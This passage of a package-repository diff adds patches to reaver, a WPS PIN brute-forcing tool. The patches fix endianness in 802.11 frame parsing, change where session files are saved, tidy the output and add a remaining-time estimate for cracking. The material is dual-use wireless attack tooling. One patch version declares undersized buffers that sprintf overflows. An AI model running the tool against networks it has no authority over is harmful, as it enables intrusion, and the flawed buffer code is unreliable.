++					tag_offset = rt_header_len + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame);
+ 					channel = parse_beacon_tags(packet, header.len);
+ 					
+ 					/* If no channel was manually specified, switch to the AP's current channel */
+@@ -135,29 +137,31 @@ int8_t signal_strength(const u_char *packet, size_t len)
+ 	{
+ 		header = (struct radio_tap_header *) packet;
+ 
+-		if((header->flags & SSI_FLAG) == SSI_FLAG)
++		uint32_t flags = __le32_to_cpu(header->flags);
++		
++		if((flags & SSI_FLAG) == SSI_FLAG)
+ 		{
+-			if((header->flags & TSFT_FLAG) == TSFT_FLAG)
++			if((flags & TSFT_FLAG) == TSFT_FLAG)
+ 			{
+ 				offset += TSFT_SIZE;
+ 			}
+ 
+-			if((header->flags & FLAGS_FLAG) == FLAGS_FLAG)
++			if((flags & FLAGS_FLAG) == FLAGS_FLAG)
+ 			{
+ 				offset += FLAGS_SIZE;
+ 			}
+ 	
+-			if((header->flags & RATE_FLAG) == RATE_FLAG)
++			if((flags & RATE_FLAG) == RATE_FLAG)
+ 			{
+ 				offset += RATE_SIZE;
+ 			}
+ 
+-			if((header->flags & CHANNEL_FLAG) == CHANNEL_FLAG)
++			if((flags & CHANNEL_FLAG) == CHANNEL_FLAG)
+ 			{
+ 				offset += CHANNEL_SIZE;
+ 			}
+ 
+-			if((header->flags & FHSS_FLAG) == FHSS_FLAG)
++			if((flags & FHSS_FLAG) == FHSS_FLAG)
+ 			{
+ 				offset += FHSS_FLAG;
+ 			}
+@@ -196,11 +200,13 @@ int is_wps_locked()
+ 		if(header.len >= MIN_BEACON_SIZE)
+ 		{
+ 			rt_header = (struct radio_tap_header *) radio_header(packet, header.len);
+-			frame_header = (struct dot11_frame_header *) (packet + rt_header->len);
++			size_t rt_header_len = __le16_to_cpu(rt_header->len);
++			frame_header = (struct dot11_frame_header *) (packet + rt_header_len);
+ 
+ 			if(memcmp(frame_header->addr3, get_bssid(), MAC_ADDR_LEN) == 0)
+ 			{
+-				if(frame_header->fc.type == MANAGEMENT_FRAME && frame_header->fc.sub_type == SUBTYPE_BEACON)
++                                if((frame_header->fc & __cpu_to_le16(IEEE80211_FCTL_FTYPE | IEEE80211_FCTL_STYPE)) ==
++				   __cpu_to_le16(IEEE80211_FTYPE_MGMT | IEEE80211_STYPE_BEACON))
+ 				{
+ 					if(parse_wps_parameters(packet, header.len, &wps))
+ 					{
+@@ -411,24 +417,30 @@ int associate_recv_loop()
+                 if(header.len >= MIN_AUTH_SIZE)
+                 {
+ 			rt_header = (struct radio_tap_header *) radio_header(packet, header.len);
+-                        dot11_frame = (struct dot11_frame_header *) (packet + rt_header->len);
++			size_t rt_header_len = __le16_to_cpu(rt_header->len);
++			dot11_frame = (struct dot11_frame_header *) (packet + rt_header_len);
+ 
+                         if((memcmp(dot11_frame->addr3, get_bssid(), MAC_ADDR_LEN) == 0) &&
+                            (memcmp(dot11_frame->addr1, get_mac(), MAC_ADDR_LEN) == 0))
+                         {
+-				if(dot11_frame->fc.type == MANAGEMENT_FRAME)
++                                if((dot11_frame->fc & __cpu_to_le16(IEEE80211_FCTL_FTYPE)) ==
++				   __cpu_to_le16(IEEE80211_FTYPE_MGMT))
+ 				{
+-                                	auth_frame = (struct authentication_management_frame *) (packet + sizeof(struct dot11_frame_header) + rt_header->len);
+-                                	assoc_frame = (struct association_response_management_frame *) (packet + sizeof(struct dot11_frame_header) + rt_header->len);
++                                	auth_frame = (struct authentication_management_frame *) (packet + sizeof(struct dot11_frame_header) + rt_header_len);
++                                	assoc_frame = (struct association_response_management_frame *) (packet + sizeof(struct dot11_frame_header) + rt_header_len);
+ 
+ 					/* Did we get an authentication packet with a successful status? */
+-					if((dot11_frame->fc.sub_type == SUBTYPE_AUTHENTICATION) && (auth_frame->status == AUTHENTICATION_SUCCESS))
++					if((dot11_frame->fc & __cpu_to_le16(IEEE80211_FCTL_STYPE)) ==
++					   __cpu_to_le16(IEEE80211_STYPE_AUTH)
++					   && (auth_frame->status == __cpu_to_le16(AUTHENTICATION_SUCCESS)))
+                                		{
+                                	        	ret_val = AUTH_OK;
+                                	        	break;
+                                		}
+ 					/* Did we get an association packet with a successful status? */
+-                               		else if((dot11_frame->fc.sub_type == SUBTYPE_ASSOCIATION) && (assoc_frame->status == ASSOCIATION_SUCCESS))
++                               		else if((dot11_frame->fc & __cpu_to_le16(IEEE80211_FCTL_STYPE)) ==
++						__cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP)
++						&& (assoc_frame->status == __cpu_to_le16(ASSOCIATION_SUCCESS)))
+ 					{
+ 						ret_val = ASSOCIATE_OK;
+ 						break;
+@@ -455,13 +467,14 @@ enum encryption_type supported_encryption(const u_char *packet, size_t len)
+ 	if(len > MIN_BEACON_SIZE)
+ 	{
+ 		rt_header = (struct radio_tap_header *) radio_header(packet, len);
+-		beacon = (struct beacon_management_frame *) (packet + rt_header->len + sizeof(struct dot11_frame_header));
+-		offset = tag_offset = rt_header->len + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame);
++		size_t rt_header_len = __le16_to_cpu(rt_header->len);
++		beacon = (struct beacon_management_frame *) (packet + rt_header_len + sizeof(struct dot11_frame_header));
++		offset = tag_offset = rt_header_len + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame);
+ 		
+ 		tag_len = len - tag_offset;
+ 		tag_data = (const u_char *) (packet + tag_offset);
+ 
+-		if((beacon->capability & CAPABILITY_WEP) == CAPABILITY_WEP)
++		if((__le16_to_cpu(beacon->capability) & CAPABILITY_WEP) == CAPABILITY_WEP)
+ 		{
+ 			enc = WEP;
+ 
+@@ -509,7 +522,7 @@ int parse_beacon_tags(const u_char *packet, size_t len)
+ 	struct radio_tap_header *rt_header = NULL;
+ 
+ 	rt_header = (struct radio_tap_header *) radio_header(packet, len);
+-	tag_offset = rt_header->len + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame);
++	tag_offset = __le16_to_cpu(rt_header->len) + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame);
+ 
+ 	if(tag_offset < len)
+ 	{
+@@ -548,7 +561,7 @@ int parse_beacon_tags(const u_char *packet, size_t len)
+ 		{
+ 			if(ie_len  == 1)
+ 			{
+-				memcpy((int *) &channel, channel_data, ie_len);
++				channel = *(uint8_t*)channel_data;
+ 			}
+ 			free(channel_data);
+ 		}
+@@ -603,13 +616,13 @@ int check_fcs(const u_char *packet, size_t len)
+ 	if(len > 4)
+ 	{
+ 		/* Get the packet's reported FCS (last 4 bytes of the packet) */
+-		memcpy((uint32_t *) &fcs, (packet + (len-4)), 4);
++		fcs = __le32_to_cpu(*(uint32_t*)(packet + (len-4)));
+ 
+ 		/* FCS is not calculated over the radio tap header */
+ 		if(has_rt_header())
+ 		{
+ 			rt_header = (struct radio_tap_header *) packet;
+-			offset += rt_header->len;
++			offset += __le16_to_cpu(rt_header->len);
+ 		}
+ 
+ 		if(len > offset)
+diff --git a/src/builder.c b/src/builder.c
+index 37f2de7..6bf89e7 100644
+--- a/src/builder.c
++++ b/src/builder.c
+@@ -44,9 +44,8 @@ const void *build_radio_tap_header(size_t *len)
+ 		memset((void *) buf, 0, sizeof(struct radio_tap_header));
+ 		rt_header = (struct radio_tap_header *) buf;
+ 
+-		rt_header->len = sizeof(struct radio_tap_header);
+-	
+-		*len = rt_header->len;
++		*len = sizeof(struct radio_tap_header);
++		rt_header->len = __cpu_to_le16(*len);
+ 	}
+ 	
+ 	return buf;
+@@ -67,9 +66,9 @@ const void *build_dot11_frame_header(uint16_t fc, size_t *len)
+ 	
+ 		frag_seq += SEQ_MASK;
+ 
+-		header->duration = DEFAULT_DURATION;
+-		memcpy((void *) &header->fc, (void *) &fc, sizeof(struct frame_control));
+-		header->frag_seq = frag_seq;
++		header->duration = __cpu_to_le16(DEFAULT_DURATION);
++		header->fc = __cpu_to_le16(fc);
++		header->frag_seq = __cpu_to_le16(frag_seq);
+ 
+ 		memcpy((void *) header->addr1, get_bssid(), MAC_ADDR_LEN);
+ 		memcpy((void *) header->addr2, get_mac(), MAC_ADDR_LEN);
+@@ -91,8 +90,8 @@ const void *build_authentication_management_frame(size_t *len)
+ 		memset((void *) buf, 0, *len);
+ 		frame = (struct authentication_management_frame *) buf;
+ 
+-		frame->algorithm = OPEN_SYSTEM;
+-		frame->sequence = 1;
++		frame->algorithm = __cpu_to_le16(OPEN_SYSTEM);
++		frame->sequence = __cpu_to_le16(1);
+ 		frame->status = 0;
+ 	}
+ 	
+@@ -111,8 +110,8 @@ const void *build_association_management_frame(size_t *len)
+ 		memset((void *) buf, 0, *len);
+ 		frame = (struct association_request_management_frame *) buf;
+ 
+-		frame->capability = get_ap_capability();
+-		frame->listen_interval = LISTEN_INTERVAL;
++		frame->capability = __cpu_to_le16(get_ap_capability());
++		frame->listen_interval = __cpu_to_le16(LISTEN_INTERVAL);
+ 	}
+ 
+ 	return buf;
+@@ -133,7 +132,7 @@ const void *build_llc_header(size_t *len)
+ 		header->dsap = LLC_SNAP;
+ 		header->ssap = LLC_SNAP;
+ 		header->control_field = UNNUMBERED_FRAME;
+-		header->type = DOT1X_AUTHENTICATION;
++		header->type = __cpu_to_be16(DOT1X_AUTHENTICATION);
+ 
+ 	}
+ 
+@@ -279,7 +278,7 @@ const void *build_wfa_header(uint8_t op_code, size_t *len)
+ 		header = (struct wfa_expanded_header *) buf;
+ 	
+ 		memcpy(header->id, WFA_VENDOR_ID, sizeof(header->id));
+-		header->type = SIMPLE_CONFIG;
++		header->type = __cpu_to_be32(SIMPLE_CONFIG);
+ 		header->opcode = op_code;
+ 	}
+ 	
+diff --git a/src/defs.h b/src/defs.h
+index b2f45ea..0c628e7 100644
+--- a/src/defs.h
++++ b/src/defs.h
+@@ -41,6 +41,7 @@
+ #include <string.h>
+ #include <time.h>
+ #include <pcap.h>
++#include <asm/byteorder.h>
+ 
+ #include "wps.h"
+ 
+@@ -65,10 +66,10 @@
+ #define MANAGEMENT_FRAME	0x00
+ #define SUBTYPE_BEACON		0x08
+ 
+-#define DOT1X_AUTHENTICATION	0x8E88
++#define DOT1X_AUTHENTICATION	0x888E
+ #define DOT1X_EAP_PACKET	0x00
+ 
+-#define SIMPLE_CONFIG		0x01000000
++#define SIMPLE_CONFIG		0x00000001
+ 
+ #define P1_SIZE			10000
+ #define P2_SIZE			1000
+@@ -282,66 +283,111 @@ enum wfa_elements
+ 	WEP_TRANSMIT_KEY = 0x10064
+ };
+ 
++#define IEEE80211_FCTL_VERS		0x0003
++#define IEEE80211_FCTL_FTYPE		0x000c
++#define IEEE80211_FCTL_STYPE		0x00f0
++#define IEEE80211_FCTL_TODS		0x0100
++#define IEEE80211_FCTL_FROMDS		0x0200
++#define IEEE80211_FCTL_MOREFRAGS	0x0400
++#define IEEE80211_FCTL_RETRY		0x0800
++#define IEEE80211_FCTL_PM		0x1000
++#define IEEE80211_FCTL_MOREDATA		0x2000
++#define IEEE80211_FCTL_PROTECTED	0x4000
++#define IEEE80211_FCTL_ORDER		0x8000
++
++#define IEEE80211_SCTL_FRAG		0x000F
++#define IEEE80211_SCTL_SEQ		0xFFF0
++
++#define IEEE80211_FTYPE_MGMT		0x0000
++#define IEEE80211_FTYPE_CTL		0x0004
++#define IEEE80211_FTYPE_DATA		0x0008
++
++/* management */
++#define IEEE80211_STYPE_ASSOC_REQ	0x0000
++#define IEEE80211_STYPE_ASSOC_RESP	0x0010
++#define IEEE80211_STYPE_REASSOC_REQ	0x0020
++#define IEEE80211_STYPE_REASSOC_RESP	0x0030
++#define IEEE80211_STYPE_PROBE_REQ	0x0040
++#define IEEE80211_STYPE_PROBE_RESP	0x0050
++#define IEEE80211_STYPE_BEACON		0x0080
++#define IEEE80211_STYPE_ATIM		0x0090
++#define IEEE80211_STYPE_DISASSOC	0x00A0
++#define IEEE80211_STYPE_AUTH		0x00B0
++#define IEEE80211_STYPE_DEAUTH		0x00C0
++#define IEEE80211_STYPE_ACTION		0x00D0
++
++/* control */
++#define IEEE80211_STYPE_BACK_REQ	0x0080
++#define IEEE80211_STYPE_BACK		0x0090
++#define IEEE80211_STYPE_PSPOLL		0x00A0
++#define IEEE80211_STYPE_RTS		0x00B0
++#define IEEE80211_STYPE_CTS		0x00C0
++#define IEEE80211_STYPE_ACK		0x00D0
++#define IEEE80211_STYPE_CFEND		0x00E0
++#define IEEE80211_STYPE_CFENDACK	0x00F0
++
++/* data */
++#define IEEE80211_STYPE_DATA			0x0000
++#define IEEE80211_STYPE_DATA_CFACK		0x0010
++#define IEEE80211_STYPE_DATA_CFPOLL		0x0020
++#define IEEE80211_STYPE_DATA_CFACKPOLL		0x0030
++#define IEEE80211_STYPE_NULLFUNC		0x0040
++#define IEEE80211_STYPE_CFACK			0x0050
++#define IEEE80211_STYPE_CFPOLL			0x0060
++#define IEEE80211_STYPE_CFACKPOLL		0x0070
++#define IEEE80211_STYPE_QOS_DATA		0x0080
++#define IEEE80211_STYPE_QOS_DATA_CFACK		0x0090
++#define IEEE80211_STYPE_QOS_DATA_CFPOLL		0x00A0
++#define IEEE80211_STYPE_QOS_DATA_CFACKPOLL	0x00B0
++#define IEEE80211_STYPE_QOS_NULLFUNC		0x00C0
++#define IEEE80211_STYPE_QOS_CFACK		0x00D0
++#define IEEE80211_STYPE_QOS_CFPOLL		0x00E0
++#define IEEE80211_STYPE_QOS_CFACKPOLL		0x00F0
++
+ #pragma pack(1)
+ struct radio_tap_header
+ {
+ 	uint8_t revision;	
+ 	uint8_t pad;
+-	uint16_t len;
+-	uint32_t flags;
+-};
+-
+-struct frame_control
+-{
+-        unsigned version : 2;
+-        unsigned type : 2;
+-        unsigned sub_type : 4;
+-
+-        unsigned to_ds : 1;
+-        unsigned from_ds : 1;
+-        unsigned more_frag : 1;
+-        unsigned retry : 1;
+-        unsigned pwr_mgt : 1;
+-        unsigned more_data : 1;
+-        unsigned protected_frame : 1;
+-        unsigned order : 1;
++	__le16 len;
++	__le32 flags;
+ };
+ 
+ struct dot11_frame_header
+ {
+-	struct frame_control fc;
+-        uint16_t duration;
++	__le16 fc;
++	__le16 duration;
+ 	unsigned char addr1[MAC_ADDR_LEN];
+ 	unsigned char addr2[MAC_ADDR_LEN];
+ 	unsigned char addr3[MAC_ADDR_LEN];
+-	uint16_t frag_seq;
++	__le16 frag_seq;
+ };
+ 
+ struct authentication_management_frame
+ {
+-	uint16_t algorithm;
+-	uint16_t sequence;
+-	uint16_t status;
++	__le16 algorithm;
++	__le16 sequence;
++	__le16 status;
+ };
+ 
+ struct association_request_management_frame
+ {
+-	uint16_t capability;
+-	uint16_t listen_interval;
++	__le16 capability;
++	__le16 listen_interval;
+ };
+ 
+ struct association_response_management_frame
+ {
+-	uint16_t capability;
+-	uint16_t status;
+-	uint16_t id;
++	__le16 capability;
++	__le16 status;
++	__le16 id;
+ };
+ 
+ struct beacon_management_frame
+ {
+ 	unsigned char timestamp[TIMESTAMP_LEN];
+-	uint16_t beacon_interval;
+-	uint16_t capability;
++	__le16 beacon_interval;
++	__le16 capability;
+ };
+ 
+ struct llc_header
+@@ -350,7 +396,7 @@ struct llc_header
+ 	uint8_t ssap;
+ 	uint8_t control_field;
+ 	unsigned char org_code[3];
+-	uint16_t type;
++	__be16 type;
+ };
+ 
+ struct dot1X_header
+@@ -371,7 +417,7 @@ struct eap_header
+ struct wfa_expanded_header
+ {
+ 	unsigned char id[3];
+-	uint32_t type;
++	__be32 type;
+ 	uint8_t opcode;
+ 	uint8_t flags;
+ };
+diff --git a/src/exchange.c b/src/exchange.c
+index 23c87e9..4f9a82b 100644
+--- a/src/exchange.c
++++ b/src/exchange.c
+@@ -306,26 +306,27 @@ enum wps_type process_packet(const u_char *packet, struct pcap_pkthdr *header)
+ 
+ 	/* Cast the radio tap and 802.11 frame headers and parse out the Frame Control field */
+ 	rt_header = (struct radio_tap_header *) packet;
+-	frame_header = (struct dot11_frame_header *) (packet+rt_header->len);
++	size_t rt_header_len = __le16_to_cpu(rt_header->len);
++	frame_header = (struct dot11_frame_header *) (packet+rt_header_len);
+ 
+ 	/* Does the BSSID/source address match our target BSSID? */
+ 	if(memcmp(frame_header->addr3, get_bssid(), MAC_ADDR_LEN) == 0)
+ 	{
+ 		/* Is this a data packet sent to our MAC address? */
+-		if(frame_header->fc.type == DATA_FRAME && 
+-			frame_header->fc.sub_type == SUBTYPE_DATA && 
+-			(memcmp(frame_header->addr1, get_mac(), MAC_ADDR_LEN) == 0)) 
++		if (((frame_header->fc & __cpu_to_le16(IEEE80211_FCTL_FTYPE | IEEE80211_FCTL_STYPE)) ==
++		     __cpu_to_le16(IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA)) &&
++		    (memcmp(frame_header->addr1, get_mac(), MAC_ADDR_LEN) == 0)) 
+ 		{
+ 			llc = (struct llc_header *) (packet +
+-							rt_header->len +
++							rt_header_len +
+ 							sizeof(struct dot11_frame_header)
+ 			);
+ 
+ 			/* All packets in our exchanges will be 802.1x */
+-			if(llc->type == DOT1X_AUTHENTICATION)
++			if(llc->type == __cpu_to_be16(DOT1X_AUTHENTICATION))
+ 			{
+ 				dot1x = (struct dot1X_header *) (packet +
+-								rt_header->len +
++								rt_header_len +
+ 								sizeof(struct dot11_frame_header) +
+ 								sizeof(struct llc_header)
+ 				);
+@@ -334,7 +335,7 @@ enum wps_type process_packet(const u_char *packet, struct pcap_pkthdr *header)
+ 				if(dot1x->type == DOT1X_EAP_PACKET && (header->len >= EAP_PACKET_SIZE))
+ 				{
+ 					eap = (struct eap_header *) (packet +
+-									rt_header->len +
++									rt_header_len +
+ 									sizeof(struct dot11_frame_header) +
+ 									sizeof(struct llc_header) +
+ 									sizeof(struct dot1X_header)
+@@ -366,7 +367,7 @@ enum wps_type process_packet(const u_char *packet, struct pcap_pkthdr *header)
+ 						else if((eap->type == EAP_EXPANDED) && (header->len > WFA_PACKET_SIZE))
+ 						{
+ 							wfa = (struct wfa_expanded_header *) (packet +
+-											rt_header->len +
++											rt_header_len +
+ 											sizeof(struct dot11_frame_header) +
+ 											sizeof(struct llc_header) +
+ 											sizeof(struct dot1X_header) +
+@@ -374,14 +375,14 @@ enum wps_type process_packet(const u_char *packet, struct pcap_pkthdr *header)
+ 							);
+ 						
+ 							/* Verify that this is a WPS message */
+-							if(wfa->type == SIMPLE_CONFIG)
++							if(wfa->type == __cpu_to_be32(SIMPLE_CONFIG))
+ 							{
+ 								wps_msg_len = 	(size_t) ntohs(eap->len) - 
+ 										sizeof(struct eap_header) - 
+ 										sizeof(struct wfa_expanded_header);
+ 
+ 								wps_msg = (const void *) (packet +
+-											rt_header->len +
++											rt_header_len +
+                                                                        	                sizeof(struct dot11_frame_header) +
+                                                                                	        sizeof(struct llc_header) +
+                                                                                        	sizeof(struct dot1X_header) +
+diff --git a/src/wpsmon.c b/src/wpsmon.c
+index d976924..22a394f 100644
+--- a/src/wpsmon.c
++++ b/src/wpsmon.c
+@@ -295,7 +295,8 @@ void parse_wps_settings(const u_char *packet, struct pcap_pkthdr *header, char *
+         }
+ 
+ 	rt_header = (struct radio_tap_header *) radio_header(packet, header->len);
+-	frame_header = (struct dot11_frame_header *) (packet + rt_header->len);
++	size_t rt_header_len = __le16_to_cpu(rt_header->len);
++	frame_header = (struct dot11_frame_header *) (packet + rt_header_len);
+ 
+ 	/* If a specific BSSID was specified, only parse packets from that BSSID */
+ 	if(!is_target(frame_header))
+@@ -323,15 +324,17 @@ void parse_wps_settings(const u_char *packet, struct pcap_pkthdr *header, char *
+ 				channel_changed = 1;
+ 			}
+ 
+-			if(frame_header->fc.sub_type == PROBE_RESPONSE ||
+-                                   frame_header->fc.sub_type == SUBTYPE_BEACON)
++			unsigned fsub_type = frame_header->fc & __cpu_to_le16(IEEE80211_FCTL_STYPE);
++
++			if(fsub_type == __cpu_to_le16(IEEE80211_STYPE_PROBE_RESP) ||
++			   fsub_type == __cpu_to_le16(IEEE80211_STYPE_BEACON))
+ 			{
+ 				wps_parsed = parse_wps_parameters(packet, header->len, wps);
+ 			}
+ 	
+ 			if(!is_done(bssid) && (get_channel() == channel || source == PCAP_FILE))
+ 			{
+-				if(frame_header->fc.sub_type == SUBTYPE_BEACON && 
++				if(fsub_type == __cpu_to_le16(IEEE80211_STYPE_BEACON) && 
+ 				   mode == SCAN && 
+ 				   !passive && 
+ 				   should_probe(bssid))
+@@ -369,7 +372,7 @@ void parse_wps_settings(const u_char *packet, struct pcap_pkthdr *header, char *
+ 				 * If there was no WPS information, then the AP does not support WPS and we should ignore it from here on.
+ 				 * If this was a probe response, then we've gotten all WPS info we can get from this AP and should ignore it from here on.
+ 				 */
+-				if(!wps_parsed || frame_header->fc.sub_type == PROBE_RESPONSE)
++				if(!wps_parsed || fsub_type == __cpu_to_le16(IEEE80211_STYPE_PROBE_RESP))
+ 				{
+ 					mark_ap_complete(bssid);
+ 				}
+-- 
+1.7.7
+
diff --git a/net-wireless/reaver/files/0002-Use-the-current-directory-for-storing-and-loading-se.patch b/net-wireless/reaver/files/0002-Use-the-current-directory-for-storing-and-loading-se.patch
new file mode 100644
index 00000000..dd1bb427
--- /dev/null
+++ b/net-wireless/reaver/files/0002-Use-the-current-directory-for-storing-and-loading-se.patch
@@ -0,0 +1,53 @@
+From cd444949f3176790101b8bdc9656831a03d8c01d Mon Sep 17 00:00:00 2001
+From: Paul Fertser <fercerpav@gmail.com>
+Date: Tue, 10 Jul 2012 11:13:29 +0400
+Subject: [PATCH 2/3] Use the current directory for storing and loading
+ sessions
+
+This allows the user to always explicitely choose (by changing the
+current directory before launching the program) where the session
+files should go. Useful e.g. to avoid hogging the precious space on
+embedded devices, just cd /tmp before starting the app.
+
+Signed-off-by: Paul Fertser <fercerpav@gmail.com>
+---
+ src/session.c |   16 +++-------------
+ 1 files changed, 3 insertions(+), 13 deletions(-)
+
+diff --git a/src/session.c b/src/session.c
+index d3af0c3..308f213 100644
+--- a/src/session.c
++++ b/src/session.c
+@@ -62,7 +62,7 @@ int restore_session()
+ 		memset(file, 0, FILENAME_MAX);
+ 
+ 		bssid = mac2str(get_bssid(), '\0');
+-		snprintf(file, FILENAME_MAX, "%s/%s.%s", CONF_DIR, bssid, CONF_EXT);
++		snprintf(file, FILENAME_MAX, "%s.%s", bssid, CONF_EXT);
+ 		free(bssid);
+ 	}
+ 
+@@ -199,18 +199,8 @@ int save_session()
+ 		}
+ 		else
+ 		{	
+-			/* 
+-			 * If the configuration directory exists, save the session file there; else, save it to the 
+-			 * current working directory.
+-			 */
+-			if(configuration_directory_exists())
+-			{
+-        			snprintf((char *) &file_name, FILENAME_MAX, "%s/%s.%s", CONF_DIR, bssid, CONF_EXT);
+-			}
+-			else
+-			{
+-				snprintf((char *) &file_name, FILENAME_MAX, "%s.%s", bssid, CONF_EXT);
+-			}
++			/* save session to the current directory */
++			snprintf((char *) &file_name, FILENAME_MAX, "%s.%s", bssid, CONF_EXT);
+ 		}
+ 
+ 		/* Don't bother saving anything if nothing has been done */
+-- 
+1.7.7
+
diff --git a/net-wireless/reaver/files/0003-wash-wpsmon-use-less-useless-spaces-in-output-to-fit.patch b/net-wireless/reaver/files/0003-wash-wpsmon-use-less-useless-spaces-in-output-to-fit.patch
new file mode 100644
index 00000000..64b290b5
--- /dev/null
+++ b/net-wireless/reaver/files/0003-wash-wpsmon-use-less-useless-spaces-in-output-to-fit.patch
@@ -0,0 +1,38 @@
+From 638bb8d70d6c7e5dc99975e0bf57d8ce0455e2cc Mon Sep 17 00:00:00 2001
+From: Paul Fertser <fercerpav@gmail.com>
+Date: Tue, 10 Jul 2012 11:25:00 +0400
+Subject: [PATCH 3/3] wash/wpsmon: use less useless spaces in output to fit
+ narrow terminals
+
+Signed-off-by: Paul Fertser <fercerpav@gmail.com>
+---
+ src/wpsmon.c |    6 +++---
+ 1 files changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/src/wpsmon.c b/src/wpsmon.c
+index 22a394f..e0948b3 100644
+--- a/src/wpsmon.c
++++ b/src/wpsmon.c
+@@ -262,8 +262,8 @@ void monitor(char *bssid, int passive, int source, int channel, int mode)
+ 
+ 	if(!header_printed)
+ 	{
+-		cprintf(INFO, "BSSID                  Channel       RSSI       WPS Version       WPS Locked        ESSID\n");
+-		cprintf(INFO, "---------------------------------------------------------------------------------------------------------------\n");
++		cprintf(INFO, "BSSID              Channel  RSSI  WPS Version  WPS Locked  ESSID\n");
++		cprintf(INFO, "--------------------------------------------------------------------------------------\n");
+ 		header_printed = 1;
+ 	}
+ 
+@@ -360,7 +360,7 @@ void parse_wps_settings(const u_char *packet, struct pcap_pkthdr *header, char *
+ 							break;
+ 					}
+ 
+-					cprintf(INFO, "%17s      %2d            %.2d        %d.%d               %s               %s\n", bssid, channel, rssi, (wps->version >> 4), (wps->version & 0x0F), lock_display, ssid);
++					cprintf(INFO, "%17s    %2d       %.2d   %d.%d          %s         %s\n", bssid, channel, rssi, (wps->version >> 4), (wps->version & 0x0F), lock_display, ssid);
+ 				}
+ 
+ 				if(probe_sent)
+-- 
+1.7.7
+
diff --git a/net-wireless/reaver/files/0004-wash-probe-request.patch b/net-wireless/reaver/files/0004-wash-probe-request.patch
new file mode 100644
index 00000000..6cb5a678
--- /dev/null
+++ b/net-wireless/reaver/files/0004-wash-probe-request.patch
@@ -0,0 +1,31 @@
+diff -urN reaver-1.4/src/wpsmon.c reaver-wps-read-only/src/wpsmon.c
+--- reaver-1.4/src/wpsmon.c	2012-01-18 17:02:39.000000000 +0800
++++ reaver-wps-read-only/src/wpsmon.c	2012-10-10 06:45:52.271329168 +0800
+@@ -132,6 +132,11 @@
+ 		usage(argv[0]);
+ 		goto end;
+ 	}
++	else if(get_iface())
++	{
++		/* Get the MAC address of the specified interface */
++		read_iface_mac();
++	}
+ 
+ 	if(get_iface() && source == PCAP_FILE)
+ 	{
+@@ -300,6 +305,7 @@
+ 
+ 	set_ssid(NULL);
+ 	bssid = (char *) mac2str(frame_header->addr3, ':');
++	set_bssid((unsigned char *) frame_header->addr3);
+ 
+ 	if(bssid)
+ 	{
+@@ -383,6 +389,7 @@
+ 
+ end:
+ 	if(wps) free(wps);
++	set_bssid((unsigned char *) NULL_MAC);
+ 
+ 	return;
+ }
diff --git a/net-wireless/reaver/files/0005-soreau-show-status-r2.patch b/net-wireless/reaver/files/0005-soreau-show-status-r2.patch
new file mode 100644
index 00000000..e55b6929
--- /dev/null
+++ b/net-wireless/reaver/files/0005-soreau-show-status-r2.patch
@@ -0,0 +1,97 @@
+Index: cracker.c
+===================================================================
+--- cracker.c	(revision 113)
++++ cracker.c	(working copy)
+@@ -285,18 +285,65 @@
+ 	}
+ }
+ 
++char *get_max_time_remaining(int average, int attempts_remaining)
++{
++	char *max_time, hours[8], minutes[3], seconds[3];
++	int max_hours = 0, max_minutes = 0, max_seconds = 0;
++
++	max_time = malloc(16);
++
++	if(!max_time)
++		exit(-1);
++
++	if(average)
++	{
++		max_seconds = attempts_remaining * average;
++		if(max_seconds > 60)
++		{
++			max_minutes = max_seconds / 60;
++			max_seconds -= max_minutes * 60;
++		}
++		if(max_minutes > 60)
++		{
++			max_hours = max_minutes / 60;
++			max_minutes -= max_hours * 60;
++		}
++
++		if(max_seconds < 0 || max_minutes < 0 || max_hours < 0)
++		{
++			free(max_time);
++			return NULL;
++		}
++
++		sprintf(hours, "%d", max_hours);
++		sprintf(minutes, "%s%d", max_minutes > 9 ? "" : "0", max_minutes);
++		sprintf(seconds, "%s%d", max_seconds > 9 ? "" : "0", max_seconds);
++
++		sprintf(max_time, "%s:%s:%s", hours, minutes, seconds);
++	}
++	else
++	{
++		free(max_time);
++		return NULL;
++	}
++
++	return max_time;
++}
++
+ /* Displays the status and rate of cracking */
+ void display_status(float pin_count, time_t start_time)
+ {
+ 	float percentage = 0;
+ 	int attempts = 0, average = 0;
++	int attempts_remaining = 0;
+ 	time_t now = 0, diff = 0;
+ 	struct tm *tm_p = NULL;
+-        char time_s[256] = { 0 };
++        char time_s[256] = { 0 }, *max_time;
+ 
+ 	if(get_key_status() == KEY1_WIP)
+ 	{
+ 		attempts = get_p1_index() + get_p2_index();
++		attempts_remaining = 11000 - attempts;
+ 	}
+ 	/* 
+ 	 * If we've found the first half of the key, then the entire key1 keyspace
+@@ -305,10 +352,12 @@
+ 	else if(get_key_status() == KEY2_WIP)
+ 	{
+ 		attempts = P1_SIZE + get_p2_index();
++		attempts_remaining = 11000 - attempts;
+ 	}
+ 	else if(get_key_status() == KEY_DONE)
+ 	{
+ 		attempts = P1_SIZE + P2_SIZE;
++		attempts_remaining = 0;
+ 	}
+ 
+ 	percentage = (float) (((float) attempts / (P1_SIZE + P2_SIZE)) * 100);
+@@ -335,7 +384,12 @@
+ 		average = 0;
+ 	}
+ 
++	max_time = get_max_time_remaining(average, attempts_remaining);
++
+ 	cprintf(INFO, "[+] %.2f%% complete @ %s (%d seconds/pin)\n", percentage, time_s, average);
++	cprintf(INFO, "[+] Max time remaining at this rate: %s (%d pins left to try)\n", max_time ? max_time : "(undetermined)", attempts_remaining);
+ 
++	free(max_time);
++
+ 	return;
+ }
diff --git a/net-wireless/reaver/files/0005-soreau-show-status.patch b/net-wireless/reaver/files/0005-soreau-show-status.patch
new file mode 100644
index 00000000..e6f2799d
--- /dev/null
+++ b/net-wireless/reaver/files/0005-soreau-show-status.patch
@@ -0,0 +1,97 @@
+Index: cracker.c
+===================================================================
+--- cracker.c	(revision 113)
++++ cracker.c	(working copy)
+@@ -285,18 +285,65 @@
+ 	}
+ }
+ 
++char *get_max_time_remaining(int average, int attempts_remaining)
++{
++	char *max_time, hours[12], minutes[2], seconds[2];
++	int max_hours = 0, max_minutes = 0, max_seconds = 0;
++
++	max_time = malloc(16);
++
++	if(!max_time)
++		exit(-1);
++
++	if(average)
